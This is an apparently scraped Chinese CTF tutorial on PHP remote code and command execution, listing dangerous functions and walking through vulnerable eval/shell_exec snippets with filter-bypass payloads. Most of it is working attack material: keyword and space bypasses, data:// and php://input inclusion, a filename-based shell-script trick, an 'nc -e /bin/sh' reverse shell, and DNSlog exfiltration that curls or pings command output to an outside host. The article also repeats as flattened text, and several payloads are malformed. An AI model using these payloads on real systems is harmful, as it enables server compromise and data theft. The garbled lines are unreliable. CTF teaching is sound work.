CTF中的RCE
字数 1545 2025-08-18 11:36:53

CTF中的RCE漏洞利用与绕过技术详解

1. RCE基本概念

RCE (Remote Code Execution)远程代码执行漏洞分为两类:

  • 远程代码执行:远程执行PHP等编程语言代码
  • 远程命令执行:远程执行系统命令(Linux/Windows等)

2. 常见危险函数

PHP危险函数

  • 代码执行:eval(), assert(), preg_replace(), call_user_func(), call_user_func_array(), array_map()
  • 命令执行:system(), shell_exec(), popen(), passthru(), proc_open()

Python危险函数

  • eval, exec, subprocess, os.system, commands

Java危险函数

  • 基于反射机制的表达式引擎:OGNL, SpEL, MVEL

3. 常见绕过技术

3.1 通配符(*)绕过

<?php 
$c = $_GET['c'];
if(!preg_match("/flag/i",$c)) {
    eval($c);
}
?>

绕过方法:

  • cat fla*.php
  • tac fla*php

3.2 函数替代绕过

<?php 
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i",$c)) {
    eval($c);
}
?>

绕过payload:

url?c=echo shell_exec('tac/cat fla*');

3.3 参数逃逸

<?php 
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |/i",$c)) {
    eval($c);
}
?>

绕过方法:

url?c=eval($_GET['a']);&a=cat flag.php;

3.4 管道符绕过

Windows管道符

  • |:直接执行后面语句
  • ||:前面执行失败则执行后面
  • &:两个都执行
  • &&:前面为真则都执行

Linux管道符

  • |:显示后面语句的结果
  • ||:前面出错则执行后面
  • &:两个都执行
  • &&:前面出错则不执行后面
  • `:将括号内命令处理完毕后再执行
  • ;:执行完前面执行后面

3.5 文件包含+伪协议

<?php 
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|echo|\;(/i",$c)) {
    eval($c);
}
?>

绕过方法:

url?c=include$_GET[a]?>&a=data://text/plain,<?tac fla*?>

其他协议:

  1. url?c=include[a]?>&a=php;//filter/read=convert.base64-encode/resource=flag.php
  2. url?c=include$_GETa]?>&a=php://input + POST: <?php system('tac flag.php');?>

4. 关键字绕过技术

4.1 空格绕过

替代方案:

  • <, <>
  • ${IFS}, $IFS
  • %20(space), %09(tab)
  • $IFS$9, $IFS$1

示例:

cat<flag.php
cat<>flag.php
cat$IFSflag.php
cat${IFS}flag.php
cat%20flag.php
cat%09flag.php
cat$IFS$1flag.php

4.2 转义绕过

示例:

ca\t fl\ag
ca"t flag
ca't flag

4.3 特殊变量绕过

使用shell特殊变量:

ca$*t flag.php
ca$@t flag.php
ca$xt flag.php
ca${X}t flag.php

4.4 正则表达式绕过

使用通配符和特殊匹配:

fla*
?la*

4.5 Base64编码绕过

示例:

echo 'ls' | base64  # 输出: bHMK
`echo 'bHMK' | base64 -d`  # 执行: ls

4.6 字符串拼接

示例:

a=fl;b=ag;cat$IFS$a$b;

5. 命令执行函数绕过

5.1 内联执行

127.0.0.1;cat$IFS$!`ls`
echo $(ls);
?><?=`ls1;
?><?=$(ls);

5.2 替代函数

可用函数:

  • system()
  • passthru()
  • exec()
  • popen()
  • proc_open()
  • pcntl_exec()
  • highlight_file()

5.3 文件读取替代方法

curl file:///flag
strings flag
uniq -c flag
bash -v flag
rev flag
tac flag
find . -name flag

6. 字符串长度限制绕过

示例payload:

touch "ag"
touch "fl\\"
touch "t \\"
touch "ca\\"
ls -t > shell
sh shell

解释:

  1. 创建特殊文件名文件
  2. 按时间排序写入shell文件
  3. 执行shell文件

7. 环境变量绕过($PATH)

利用环境变量截取字符:

echo ${PATH:2:1}  # 从第2位开始截取1个字符

自定义PATH:

export PATH=$PATH:/abcdefghijklmn/opq/rst/uvw/xyz/0123456789

8. 无回显RCE处理

8.1 测试方法

  • sleep测试:url?c=ls;sleep 3
  • HTTP/DNS请求测试

8.2 反弹Shell

nc -e /bin/sh ip port

8.3 DNSlog利用

原理:通过DNS请求记录传递信息

示例:

curl http://ip.port.exp.ceye.io/`whoami`
ping `whoami`.ip.port.exp.ceye.io

实战案例:

<?php
error_reporting(0);
highlight_file(__FILE__);
function strCheck($cmd){
    if(!preg_match("/\;|\x09|\x26|more|less|head|sort|tail|sed|cut|awk|strings|od|php|ping|flag/i", $cmd)){
        return($cmd);
    } else{
        die("i hate this");
    }
}
$cmd=$_GET['cmd'];
strCheck($cmd);
shell_exec($cmd);
?>

绕过payload:

url?cmd=curl `cat /fla*`.域名

9. 总结

本文详细介绍了CTF中RCE漏洞的各种利用和绕过技术,包括:

  • 基础概念和危险函数
  • 多种绕过技术(通配符、参数逃逸、管道符等)
  • 关键字绕过方法
  • 无回显RCE处理方法
  • 实际案例和payload示例

掌握这些技术对于CTF比赛和渗透测试至关重要,但请务必在合法授权范围内使用这些技术。

CTF中的RCE漏洞利用与绕过技术详解 1. RCE基本概念 RCE (Remote Code Execution)远程代码执行漏洞分为两类: 远程代码执行 :远程执行PHP等编程语言代码 远程命令执行 :远程执行系统命令(Linux/Windows等) 2. 常见危险函数 PHP危险函数 代码执行: eval() , assert() , preg_replace() , call_user_func() , call_user_func_array() , array_map() 命令执行: system() , shell_exec() , popen() , passthru() , proc_open() Python危险函数 eval , exec , subprocess , os.system , commands Java危险函数 基于反射机制的表达式引擎:OGNL, SpEL, MVEL 3. 常见绕过技术 3.1 通配符(* )绕过 绕过方法: cat fla*.php tac fla*php 3.2 函数替代绕过 绕过payload: 3.3 参数逃逸 绕过方法: 3.4 管道符绕过 Windows管道符 | :直接执行后面语句 || :前面执行失败则执行后面 & :两个都执行 && :前面为真则都执行 Linux管道符 | :显示后面语句的结果 || :前面出错则执行后面 & :两个都执行 && :前面出错则不执行后面 ` :将括号内命令处理完毕后再执行 ; :执行完前面执行后面 3.5 文件包含+伪协议 绕过方法: 其他协议: url?c=include[a]?>&a=php;//filter/read=convert.base64-encode/resource=flag.php url?c=include$_GETa]?>&a=php://input + POST: <?php system('tac flag.php');?> 4. 关键字绕过技术 4.1 空格绕过 替代方案: < , <> ${IFS} , $IFS %20 (space), %09 (tab) $IFS$9 , $IFS$1 示例: 4.2 转义绕过 示例: 4.3 特殊变量绕过 使用shell特殊变量: 4.4 正则表达式绕过 使用通配符和特殊匹配: 4.5 Base64编码绕过 示例: 4.6 字符串拼接 示例: 5. 命令执行函数绕过 5.1 内联执行 5.2 替代函数 可用函数: system() passthru() exec() popen() proc_open() pcntl_exec() highlight_file() 5.3 文件读取替代方法 6. 字符串长度限制绕过 示例payload: 解释: 创建特殊文件名文件 按时间排序写入shell文件 执行shell文件 7. 环境变量绕过($PATH) 利用环境变量截取字符: 自定义PATH: 8. 无回显RCE处理 8.1 测试方法 sleep 测试: url?c=ls;sleep 3 HTTP/DNS请求测试 8.2 反弹Shell 8.3 DNSlog利用 原理:通过DNS请求记录传递信息 示例: 实战案例: 绕过payload: 9. 总结 本文详细介绍了CTF中RCE漏洞的各种利用和绕过技术,包括: 基础概念和危险函数 多种绕过技术(通配符、参数逃逸、管道符等) 关键字绕过方法 无回显RCE处理方法 实际案例和payload示例 掌握这些技术对于CTF比赛和渗透测试至关重要,但请务必在合法授权范围内使用这些技术。